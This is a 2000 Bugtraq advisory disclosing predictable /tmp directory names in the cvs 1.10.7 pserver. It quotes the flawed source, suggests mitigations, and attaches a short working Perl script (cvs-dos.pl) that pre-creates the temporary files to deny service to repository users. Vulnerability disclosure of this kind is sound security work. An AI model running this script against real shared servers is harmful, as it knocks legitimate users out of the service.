Date: Sun, 23 Apr 2000 17:40:38 +0200 From: Michal Szymanski <siva9@CLICO.PL> Subject: CVS DoS To: BUGTRAQ@SECURITYFOCUS.COM --MGYHOYXEY6WxJCY8 Content-Type: text/plain; charset=us-ascii Hi, I've just found annoying bug in cvs-1.10.7 (probably others too). Let's assume you've decided to make your remote cvs repository available to several trusted people. Therefore you need to edit your /etc/inetd.conf file and add line similar to presented below: cvspserver stream tcp nowait root /usr/bin/cvs cvs --allow-root==/usr/cvsroot pserver This line comes directly from cvs info. In this case we are using a password protocol (but it isn't relevant). After other administrative tasks chosen users can use your remote repository. So far everything is fine. But what will happen if malicious user - called siva9 - owns a shell account in your system? He can do a lot of evil. For example, he can get cvs server confused. How? First of all you need to know that cvs server creates locking directories in /tmp. It is required for normal working. There is nothing weird in such behaviour, so long as it has been properly done. Unfortunately method of generating new file names is very simple and weak. Every file name is easily predictable and consists of two parts: /tmp/cvs-serv string and PID of the current working cvs server: ------------- src/main.c:main(): (....) Tmpdir="/tmp" (....) -------------- src/server.c:server() (....) server_temp_dir = malloc (strlen (Tmpdir) + 80); (....) strcpy (server_temp_dir, Tmpdir); /* Remove a trailing slash from TMPDIR if present. */ p = server_temp_dir + strlen (server_temp_dir) - 1; if (*p == '/') *p = '\0'; /* * I wanted to use cvs-serv/PID, but then you have to worry about * the permissions on the cvs-serv directory being right. So * use cvs-servPID. <-- here start our problems */ strcat (server_temp_dir, "/cvs-serv"); p = server_temp_dir + strlen (server_temp_dir); sprintf (p, "%ld", (long) getpid ()); (....) status = mkdir_p (server_temp_dir); (....) server() function is executed after AUTH REQUEST, so all root privileges are dropped and it can't create temporary directory which is already owned by another user. So, if we are capable of predicting next file name we can cause effective DoS for one or even all sessions, no matter we have access to repository, or not. On heavily loaded server it is hard to predict next PID value and in this way we can stop only one cvs session from normal working. Therefore attached cvs-dos.pl script creates a lot of filenames with PID value in range from 400 to 4000 (adjust these values). If there is no "inodes in use" limitation, it will succeed and cvs server will not work properly: [siva9@cvs ~]$ id uid=17539(siva9) gid=150(lusers) groups=150(lusers),80(network),250(cvs) [siva9@cvs ~]$ ./cvs-dos.pl ....... [MySZ@localhost ~]$ CVSROOT=:pserver:MySZ@cvs:/usr/cvsroot [MySZ@localhost ~]$ export CVSROOT [MySZ@localhost ~]$ cvs login (Logging in to MySZ@cvs) CVS password: [MySZ@localhost ~]$ cvs co . cannot change permissions on temporary directory Operation not permitted [MySZ@localhost ~]$ From now on cvs users won't be able to access repository. How to solve this problem? There is a cvs server option which allow us to use another temporary directory. Just create /usr/cvsroot/cvstmp directory and append following string to your cvspserver line: "-T /usr/cvsroot/cvstmp" Then you can change cvstmp's group ownership to cvs and add trusted users to it. Unfortunately it's not really correct solution, cause cvs users still can stop server from working. I recommend to use in server.c file mktemp(3) function or any other method which generate unique filenames. Partial solution is also to use quotas on a partition where /tmp/ directory resides. Simple exploit is attached. Regards, Michal Szymanski [michal_szymanski@linux.com.pl]; --MGYHOYXEY6WxJCY8 Content-Type: application/x-perl Content-Description: cvs-dos.pl Content-Disposition: attachment; filename="cvs-dos.pl" #!/usr/bin/perl $min=400; $max=4000; for ($x=$min;$x<=$max;$x++) { open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!"; chmod 0600, "/tmp/cvs-serv$x"; close CVSTMP; } --MGYHOYXEY6WxJCY8--